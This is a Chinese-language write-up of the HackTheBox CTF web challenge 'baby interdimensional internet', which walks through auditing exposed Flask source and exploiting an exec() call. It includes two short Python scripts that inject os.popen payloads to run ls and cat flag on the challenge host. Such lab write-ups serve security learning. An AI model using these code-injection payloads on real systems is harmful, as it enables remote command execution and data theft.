概述
HackTheBox 网站CTF靶场Web相关题目baby interdimensional internet,题目地址https://app.hackthebox.eu/challenges/baby-interdimensional-internet,主要考察Flask源代码审计和远程命令执行相关知识点。
题目
题目提示为calculator。
开启程序实例后,提示访问46.101.23.188:31501
访问http://46.101.23.188:31501/,查看源代码,发现/debug
路径
访问http://46.101.23.188:31501/debug,发现源代码,为Flask
源代码分析
分析程序,可以通过POST方法传入ingredient
和measurements
两个参数,交由calc()
处理,和题目提示的calculator有联系,查看calc()
的代码,发现其调用了exec
测试
先正常传入ingredient
和measurements
两个参数
发现measurements
回显在响应页面。
利用代码
编写利用代码,执行ls
命令,发现flag文件
#!/usr/bin/python3
import requests
data = {'ingredient': 'our_var', 'measurements': '__import__("os").popen("ls").read()'}
addr = 'http://46.101.23.188:31501'
r = requests.post(addr, data=data)
print(r.content)
修改利用代码,读取flag文件,得到flag的值
#!/usr/bin/python3
import requests
data = {'ingredient': 'our_var', 'measurements': '__import__("os").popen("cat flag").read()'}
addr = 'http://46.101.23.188:31501'
r = requests.post(addr, data=data)
print(r.content)